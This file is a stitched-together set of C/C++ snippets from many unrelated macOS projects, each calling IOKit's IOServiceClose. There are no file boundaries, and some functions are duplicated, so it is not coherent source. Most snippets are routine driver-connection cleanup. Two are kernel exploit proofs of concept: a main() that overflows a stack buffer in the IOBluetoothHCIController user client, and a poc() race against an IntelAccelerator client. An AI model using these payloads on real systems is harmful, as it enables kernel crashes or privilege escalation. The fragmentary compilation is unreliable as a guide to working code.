int
main(int argc, char **argv)
{
kern_return_t kr;
int ret;
io_iterator_t iterator;
io_service_t serviceObject;
CFDictionaryRef classToMatch;
pthread_t dataQueueThread;
io_connect_t connection;
setbuf(stdout, NULL);
if (!(classToMatch = IOServiceMatching(VNODE_WATCHER_IOKIT_CLASS)))
PRINT_ERROR_AND_RETURN("failed to create matching dictionary", -1);
kr = IOServiceGetMatchingServices(kIOMasterPortDefault, classToMatch,
&iterator);
if (kr != kIOReturnSuccess)
PRINT_ERROR_AND_RETURN("failed to retrieve matching services", -1);
serviceObject = IOIteratorNext(iterator);
IOObjectRelease(iterator);
if (!serviceObject)
PRINT_ERROR_AND_RETURN("VnodeWatcher service not found", -1);
kr = IOServiceOpen(serviceObject, mach_task_self(), 0, &connection);
IOObjectRelease(serviceObject);
if (kr != kIOReturnSuccess)
PRINT_ERROR_AND_RETURN("failed to open VnodeWatcher service", kr);
kr = IOConnectMethodScalarIScalarO(connection,
kt_kVnodeWatcherUserClientOpen, 0, 0);
if (kr != KERN_SUCCESS) {
(void)IOServiceClose(connection);
PRINT_ERROR_AND_RETURN("VnodeWatcher service is busy", kr);
}
ret = pthread_create(&dataQueueThread, (pthread_attr_t *)0,
(void *)vnodeNotificationHandler, (void *)connection);
if (ret)
perror("pthread_create");
else
pthread_join(dataQueueThread, (void **)&kr);
(void)IOServiceClose(connection);
return 0;
}
static void DisconnectFromSmc(void)
{
if (g_hSmcConnect)
{
IOConnectCallMethod(g_hSmcConnect, kSMCUserClientClose, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
IOServiceClose(g_hSmcConnect);
g_hSmcConnect = IO_OBJECT_NULL;
}
if (g_hSmcService)
{
IOServiceClose(g_hSmcService);
g_hSmcService = IO_OBJECT_NULL;
}
}
void printMsgBuffer(io_service_t service)
{
kern_return_t ret;
io_connect_t connect = 0;
#if __LP64__
mach_vm_address_t address;
mach_vm_size_t size;
#else
vm_address_t address;
vm_size_t size;
#endif
ret = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (ret != KERN_SUCCESS) {
printf("error: IOServiceOpen returned 0x%08x\n", ret);
goto failure;
}
ret = IOConnectMapMemory(connect, kVoodooHDAMemoryMessageBuffer, mach_task_self(), &address, &size,
kIOMapAnywhere | kIOMapDefaultCache);
if (ret != kIOReturnSuccess) {
printf("error: IOConnectMapMemory returned 0x%08x\n", ret);
goto failure;
}
printf("%s\n", (char *) address);
failure:
if (connect) {
ret = IOServiceClose(connect);
if (ret != KERN_SUCCESS)
printf("warning: IOServiceClose returned 0x%08x\n", ret);
}
}
IOReturn IOAccelCreateSurface( io_service_t accelerator, UInt32 wID, eIOAccelSurfaceModeBits modebits,
IOAccelConnect *connect )
{
IOReturn kr;
io_connect_t window = MACH_PORT_NULL;
*connect = NULL;
/* Create a context */
kr = IOServiceOpen( accelerator,
mach_task_self(),
kIOAccelSurfaceClientType,
&window );
if( kr != kIOReturnSuccess)
{
return kr;
}
/* Set the window id */
uint64_t data[] = { wID, modebits };
kr = IOConnectCallScalarMethod(window, kIOAccelSurfaceSetIDMode,
data, arrayCnt(data), NULL, NULL);
if(kr != kIOReturnSuccess)
{
IOServiceClose(window);
return kr;
}
*connect = (IOAccelConnect) (uintptr_t) window;
return kIOReturnSuccess;
}
int suplibOsInit(PSUPLIBDATA pThis, bool fPreInited, bool fUnrestricted, SUPINITOP *penmWhat, PRTERRINFO pErrInfo)
{
/*
* Nothing to do if pre-inited.
*/
if (fPreInited)
return VINF_SUCCESS;
/*
* Do the job.
*/
Assert(pThis->hDevice == (intptr_t)NIL_RTFILE);
int rc = suplibDarwinOpenService(pThis);
if (RT_SUCCESS(rc))
{
rc = suplibDarwinOpenDevice(pThis, fUnrestricted);
if (RT_FAILURE(rc))
{
kern_return_t kr = IOServiceClose((io_connect_t)pThis->uConnection);
if (kr != kIOReturnSuccess)
{
LogRel(("Warning: IOServiceClose(%RCv) returned %d\n", pThis->uConnection, kr));
AssertFailed();
}
pThis->uConnection = 0;
}
}
return rc;
}
void enkript_prologue(void)
{
if (IOConnectCallMethod == NULL) die("IOConnectCallMethod unavailable, require version >= 10.5");
/* get iterator to browse drivers of the chosen class
*/
io_iterator_t iterator;
if (IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("com_enkript_driver_Service"), &iterator) != KERN_SUCCESS) die("IOServiceGetMatchingServices failed");
/* browse drivers
*/
for (io_service_t service = IOIteratorNext(iterator); service != IO_OBJECT_NULL; service = IOIteratorNext(iterator))
{
debug("com_enkript_driver_Service instance found!");
/* open service
*/
io_connect_t connect = IO_OBJECT_NULL;
if (IOServiceOpen(service, mach_task_self(), 0, &connect) != KERN_SUCCESS) die("IOServiceOpen failed");
/* call driver's open method
*/
if (IOConnectCallMethod(connect, 0 /* open, TOFIX */, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL) != KERN_SUCCESS) die("IOConnectCallMethod failed");
/* call driver's hello method
*/
uint64_t buf = getpid();
if (IOConnectCallMethod(connect, 2 /* hello, TOFIX */, &buf, 1, NULL, 0, NULL, NULL, NULL, NULL) != KERN_SUCCESS) die("IOConnectCallMethod failed");
/* call driver's close method
*/
if (IOConnectCallMethod(connect, 1 /* close, TOFIX */, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL) != KERN_SUCCESS) die("IOConnectCallMethod failed");
/* close service
*/
if (IOServiceClose(connect) != KERN_SUCCESS) die("IOServiceClose failed");
}
IOObjectRelease(iterator);
}
void os_inputclose(usbdevice* kb){
if(kb->event){
clearkeys(kb);
IOServiceClose(kb->event);
kb->event = 0;
}
}
/* Cleanup of the open ports */
void PortsCleanup()
{
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), IONotificationPortGetRunLoopSource(notifyPortRef), kCFRunLoopCommonModes); /* Remove the notification port from the runloop */
IODeregisterForSystemPower(¬ifierObject); /* Deregister from power notifications */
IOServiceClose(root_power_port); /* Close the Root Power Domain IOService port */
IONotificationPortDestroy(notifyPortRef); /* Destroy the notification port */
}
void CCocoaPowerSyscall::DeleteOSPowerCallBacks(void)
{
#if !defined(TARGET_DARWIN_IOS)
CCocoaAutoPool autopool;
// we no longer want sleep/wake notifications
// remove the sleep notification port from the application runloop
CFRunLoopRemoveSource( CFRunLoopGetCurrent(),
IONotificationPortGetRunLoopSource(m_notify_port), kCFRunLoopDefaultMode );
// deregister for system sleep notifications
IODeregisterForSystemPower(&m_notifier_object);
// IORegisterForSystemPower implicitly opens the Root Power Domain IOService
// so we close it here
IOServiceClose(m_root_port);
// destroy the notification port allocated by IORegisterForSystemPower
IONotificationPortDestroy(m_notify_port);
// we no longer want power source change notifications
if (m_HasBattery)
{
if (m_power_source)
{
CFRunLoopRemoveSource( CFRunLoopGetCurrent(), m_power_source, kCFRunLoopDefaultMode );
CFRelease(m_power_source);
}
}
#endif
}
int suplibOsTerm(PSUPLIBDATA pThis)
{
/*
* Close the connection to the IOService.
* This will cause the SUPDRVSESSION to be closed (starting IOC 9.1).
*/
if (pThis->uConnection)
{
kern_return_t kr = IOServiceClose((io_connect_t)pThis->uConnection);
if (kr != kIOReturnSuccess)
{
LogRel(("Warning: IOServiceClose(%RCv) returned %d\n", pThis->uConnection, kr));
AssertFailed();
}
pThis->uConnection = 0;
}
/*
* Check if we're inited at all.
*/
if (pThis->hDevice != (intptr_t)NIL_RTFILE)
{
if (close(pThis->hDevice))
AssertFailed();
pThis->hDevice = (intptr_t)NIL_RTFILE;
}
return VINF_SUCCESS;
}
// On Dual-GPU Macbook Pros only:
// switch to intrinsic GPU if running on battery
// switch to discrete GPU if running on AC power
//
// Apple's Screensaver Engine will detect the GPU change and
// call stopAnimation, then initWithFrame and startAnimation.
void CScreensaver::CheckDualGPUStatus() {
static double lastBatteryCheckTime = 0;
double currentTime;
bool nowOnBattery;
if (!IsDualGPUMacbook) return;
if (OKToRunOnBatteries) return;
currentTime = dtime();
if (currentTime < lastBatteryCheckTime + BATTERY_CHECK_INTERVAL) return;
lastBatteryCheckTime = currentTime;
nowOnBattery = Host_is_running_on_batteries();
if (nowOnBattery == RunningOnBattery) return;
RunningOnBattery = nowOnBattery;
if (nowOnBattery) {
if (GPUSelectConnect != IO_OBJECT_NULL) {
IOServiceClose(GPUSelectConnect);
GPUSelectConnect = IO_OBJECT_NULL;
}
// If an OpenGL screensaver app is running, we must shut it down
// to release its claim on the discrete GPU to save battery power.
DestroyDataManagementThread();
} else {
SetDiscreteGPU(true);
}
}
void mac_sleep_stop()
{
if (root_port)
{
// remove the sleep notification port from the application runloop
CFRunLoopRemoveSource(CFRunLoopGetCurrent(),
IONotificationPortGetRunLoopSource(notifyPortRef),
kCFRunLoopCommonModes);
// deregister for system sleep notifications
IODeregisterForSystemPower(¬ifierObject);
// IORegisterForSystemPower implicitly opens the Root Power Domain IOService
// so we close it here
IOServiceClose(root_port);
// destroy the notification port allocated by IORegisterForSystemPower
IONotificationPortDestroy(notifyPortRef);
// reset object members
root_port = 0;
notifyPortRef = NULL;
notifierObject = 0;
}
}
/*
===============
IN_DeactivateMouse
===============
*/
void IN_DeactivateMouse( void )
{
if ( !SDL_WasInit( SDL_INIT_VIDEO ) )
{
return;
}
// Always show the cursor when the mouse is disabled,
// but not when fullscreen
if ( !Cvar_VariableIntegerValue( "r_fullscreen" ) )
{
SDL_ShowCursor( 1 );
}
if ( !mouseAvailable )
{
return;
}
#ifdef MACOS_X_ACCELERATION_HACK
if ( mouseActive ) // mac os x mouse accel hack
{
if ( originalMouseSpeed != -1.0 )
{
io_connect_t mouseDev = IN_GetIOHandle();
if ( mouseDev != 0 )
{
Com_DPrintf( "restoring mouse acceleration to: %f\n", originalMouseSpeed );
if ( IOHIDSetAccelerationWithKey( mouseDev, CFSTR( kIOHIDMouseAccelerationType ), originalMouseSpeed ) != kIOReturnSuccess )
{
Com_DPrintf( "Could not re-enable mouse acceleration (failed at IOHIDSetAccelerationWithKey).\n" );
}
IOServiceClose( mouseDev );
}
else
{
Com_DPrintf( "Could not re-enable mouse acceleration (failed at IO_GetIOHandle).\n" );
}
}
}
#endif
if ( mouseActive )
{
IN_GobbleMotionEvents();
SDL_WM_GrabInput( SDL_GRAB_OFF );
// Don't warp the mouse unless the cursor is within the window
//if( SDL_GetAppState( ) & SDL_APPMOUSEFOCUS )
//SDL_WarpMouse( cls.glconfig.vidWidth / 2, cls.glconfig.vidHeight / 2 );
mouseActive = qfalse;
}
}
kern_return_t
fake_IOServiceClose(
io_connect_t connect )
{
printf("IOServiceClose(connect=%p)\n", connect);
return IOServiceClose(connect);
}
void reset_baseband() {
printf("Resetting baseband\n");
io_connect_t connect = 0;
CFMutableDictionaryRef match = IOServiceMatching("AppleBaseband");
io_service_t service = IOServiceGetMatchingService(0, match);
IOServiceOpen(service, mach_task_self(), 0, &connect);
IOConnectCallScalarMethod(connect, 0, 0, 0, 0, 0);
IOServiceClose(connect);
sleep(1);
}
/*! Deregisters the daemon with the kernel to no longer receive power events. */
void iSCSIDDeregisterForPowerEvents()
{
CFRunLoopRemoveSource(CFRunLoopGetCurrent(),
IONotificationPortGetRunLoopSource(powerNotifyPortRef),
kCFRunLoopDefaultMode);
IODeregisterForSystemPower(&powerNotifier);
IOServiceClose(powerPlaneRoot);
IONotificationPortDestroy(powerNotifyPortRef);
}
/*
===============
IN_DeactivateMouse
===============
*/
void IN_DeactivateMouse( void )
{
if( !SDL_WasInit( SDL_INIT_VIDEO ) )
return;
// Always show the cursor when the mouse is disabled,
// but not when fullscreen
if( !r_fullscreen->integer )
{
if( ( Key_GetCatcher( ) == KEYCATCH_UI ) &&
( SDL_GetAppState( ) & (SDL_APPMOUSEFOCUS|SDL_APPINPUTFOCUS) ) == (SDL_APPMOUSEFOCUS|SDL_APPINPUTFOCUS) )
SDL_ShowCursor( 0 );
else
SDL_ShowCursor( 1 );
}
if( !mouseAvailable )
return;
#ifdef MACOS_X_ACCELERATION_HACK
if (mouseActive) // mac os x mouse accel hack
{
if(originalMouseSpeed != -1.0)
{
io_connect_t mouseDev = IN_GetIOHandle();
if(mouseDev != 0)
{
Com_Printf("restoring mouse acceleration to: %f\n", originalMouseSpeed);
if(IOHIDSetAccelerationWithKey(mouseDev, CFSTR(kIOHIDMouseAccelerationType), originalMouseSpeed) != kIOReturnSuccess)
Com_Printf("Could not re-enable mouse acceleration (failed at IOHIDSetAccelerationWithKey).\n");
IOServiceClose(mouseDev);
}
else
Com_Printf("Could not re-enable mouse acceleration (failed at IO_GetIOHandle).\n");
}
}
#endif
if( mouseActive )
{
IN_GobbleMotionEvents( );
SDL_WM_GrabInput( SDL_GRAB_OFF );
// Don't warp the mouse unless the cursor is within the window
if( SDL_GetAppState( ) & SDL_APPMOUSEFOCUS )
{
int x, y;
x = glConfig.vidWidth / 2, y = glConfig.vidHeight / 2;
SDL_WarpMouse( x, y );
}
mouseActive = qfalse;
}
}
void MSRAccessor::closeConnection(){
kern_return_t kernResult = closeMSRClient(connect);
if (kernResult != KERN_SUCCESS) {
fprintf(stderr, "closeClient returned 0x%08x.\n\n", kernResult);
}
kernResult = IOServiceClose(connect);
if (kernResult != KERN_SUCCESS) {
fprintf(stderr, "IOServiceClose returned 0x%08x\n\n", kernResult);
}
}
static void
closeiodev(io_connect_t conn)
{
kern_return_t kr;
kr = IOConnectCallMethod(conn, kAppleFDEKeyStoreUserClientClose, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
if (kr != KERN_SUCCESS)
return;
IOServiceClose(conn);
}
void resetBaseband() {
LOG(LOGLEVEL_INFO, "Resetting baseband...\n");
mach_port_t masterPort;
kern_return_t result = IOMasterPort(MACH_PORT_NULL, &masterPort);
CFMutableDictionaryRef matchingDict = IOServiceMatching("AppleBaseband");
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matchingDict);
io_connect_t conn;
result = IOServiceOpen(service, mach_task_self(), 0, &conn);
result = IOConnectCallScalarMethod(conn, 0, 0, 0, 0, 0);
IOServiceClose(conn);
}
IOReturn IOAccelDestroySurface( IOAccelConnect connect )
{
IOReturn kr;
if(!connect)
return kIOReturnError;
kr = IOServiceClose((io_connect_t) (uintptr_t) connect);
return kr;
}
io_connect_t IORegisterForSystemPower ( void * refcon,
IONotificationPortRef * thePortRef,
IOServiceInterestCallback callback,
io_object_t * root_notifier )
{
io_connect_t fb = IO_OBJECT_NULL;
IONotificationPortRef notify = NULL;
kern_return_t kr;
io_service_t obj = IO_OBJECT_NULL;
*root_notifier = IO_OBJECT_NULL;
notify = IONotificationPortCreate(MACH_PORT_NULL);
obj = IORegistryEntryFromPath( IO_OBJECT_NULL,
kIOPowerPlane ":/IOPowerConnection/IOPMrootDomain");
if( obj == IO_OBJECT_NULL) goto failure_exit;
kr = IOServiceOpen( obj,mach_task_self(), 0, &fb);
if ( (kr != kIOReturnSuccess) || (fb == IO_OBJECT_NULL) ) {
goto failure_exit;
}
kr = IOServiceAddInterestNotification(
notify,obj,kIOAppPowerStateInterest,
callback,refcon,root_notifier);
IOObjectRelease(obj);
if ( kr == KERN_SUCCESS ) {
// Successful exit case
*thePortRef = notify;
return fb;
}
failure_exit:
if ( obj != IO_OBJECT_NULL) {
IOObjectRelease(obj);
}
if ( notify != NULL) {
IONotificationPortDestroy(notify);
}
if ( fb != IO_OBJECT_NULL) {
IOServiceClose(fb);
}
if ( *root_notifier != IO_OBJECT_NULL) {
IOObjectRelease(*root_notifier);
}
return IO_OBJECT_NULL;
}
void switcherClose() {
kern_return_t kernResult;
if (switcherConnect == IO_OBJECT_NULL) return;
kernResult = IOConnectCallScalarMethod(switcherConnect, kClose, NULL, 0, NULL, NULL);
if (kernResult != KERN_SUCCESS) printf("IOConnectCallScalarMethod returned 0x%08x.\n", kernResult);
kernResult = IOServiceClose(switcherConnect);
if (kernResult != KERN_SUCCESS) printf("IOServiceClose returned 0x%08x.\n", kernResult);
switcherConnect = IO_OBJECT_NULL;
printf("Driver connection closed.");
}
VBGLR3DECL(void) VbglR3Term(void)
{
/*
* Decrement the reference count and see if we're the last one out.
*/
uint32_t cInits = ASMAtomicDecU32(&g_cInits);
if (cInits > 0)
return;
#if !defined(VBOX_VBGLR3_XSERVER)
AssertReturnVoid(!cInits);
# if defined(RT_OS_WINDOWS)
HANDLE hFile = g_hFile;
g_hFile = INVALID_HANDLE_VALUE;
AssertReturnVoid(hFile != INVALID_HANDLE_VALUE);
BOOL fRc = CloseHandle(hFile);
Assert(fRc); NOREF(fRc);
# elif defined(RT_OS_OS2)
RTFILE File = g_File;
g_File = NIL_RTFILE;
AssertReturnVoid(File != NIL_RTFILE);
APIRET rc = DosClose((uintptr_t)File);
AssertMsg(!rc, ("%ld\n", rc));
#elif defined(RT_OS_DARWIN)
io_connect_t uConnection = g_uConnection;
RTFILE hFile = g_File;
g_uConnection = 0;
g_File = NIL_RTFILE;
kern_return_t kr = IOServiceClose(uConnection);
AssertMsg(kr == kIOReturnSuccess, ("%#x (%d)\n", kr, kr));
int rc = RTFileClose(hFile);
AssertRC(rc);
# else /* The IPRT case. */
RTFILE File = g_File;
g_File = NIL_RTFILE;
AssertReturnVoid(File != NIL_RTFILE);
int rc = RTFileClose(File);
AssertRC(rc);
# endif
#else /* VBOX_VBGLR3_XSERVER */
int File = g_File;
g_File = -1;
if (File == -1)
return;
xf86close(File);
#endif /* VBOX_VBGLR3_XSERVER */
}
int main(void) {
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));
if (!service) {
return -1;
}
/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}
printf(" [+] Opened connection to service on port: %d\n", port);
struct BluetoothCall a;
a.sizes[0] = 0x1000;
a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char));
/* This arguments overflows a local buffer and the adjacent stack canary */
a.sizes[1] = 264;
a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char));
memset((void *)a.args[1], 'A', a.sizes[1]);
/* Call IOBluetoothHCIUserClient::DispatchHCIReadLocalName() */
a.index = 0x2d;
/* Debug */
for(int i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");
fflush(stdout);
kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
sizeof(a), /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);
return IOServiceClose(port);
}
SDP_PlugIn::~SDP_PlugIn()
{
// close the connection to the engine
if(mEngineConnection != IO_OBJECT_NULL)
{
IOServiceClose(mEngineConnection);
}
// get rid of the run loop source for connection notifications
AudioHardwareRemoveRunLoopSource(mConnectionNotificationPort->GetRunLoopSource());
// get rid of the port
delete mConnectionNotificationPort;
}
void CloseDataPort(io_connect_t DataPort)
{
kern_return_t kernResult;
kernResult = IOServiceClose(DataPort);
if (kernResult != KERN_SUCCESS)
{
syslog(LOG_ERR, "IOServiceClose Failed %d\n\n", kernResult);
}
return;
}
void SystemEventsManager::stopLoop(bool forceStop) {
if (systemEventLoopRunning && (forceStop || allEventsDisabled())) {
CFRunLoopRemoveSource(CFRunLoopGetCurrent(),
IONotificationPortGetRunLoopSource(notifyPortRef),
kCFRunLoopCommonModes);
IODeregisterForSystemPower(¬ifierObject);
IOServiceClose(rootPort);
IONotificationPortDestroy(notifyPortRef);
CFRunLoopStop(CFRunLoopGetCurrent());
systemEventLoopRunning = false;
}
}
/*! Closes a connection to the iSCSI initiator. */
errno_t iSCSIKernelCleanup()
{
kern_return_t kernResult =
IOConnectCallScalarMethod(connection,kiSCSICloseInitiator,0,0,0,0);
// Clean up (now that we have a connection we no longer need the object)
IOObjectRelease(service);
IOServiceClose(connection);
if(notificationPort)
CFRelease(notificationPort);
return IOReturnToErrno(kernResult);
}
void poc(){
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("IntelAccelerator", 6);
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
pthread_join(t, NULL);
}
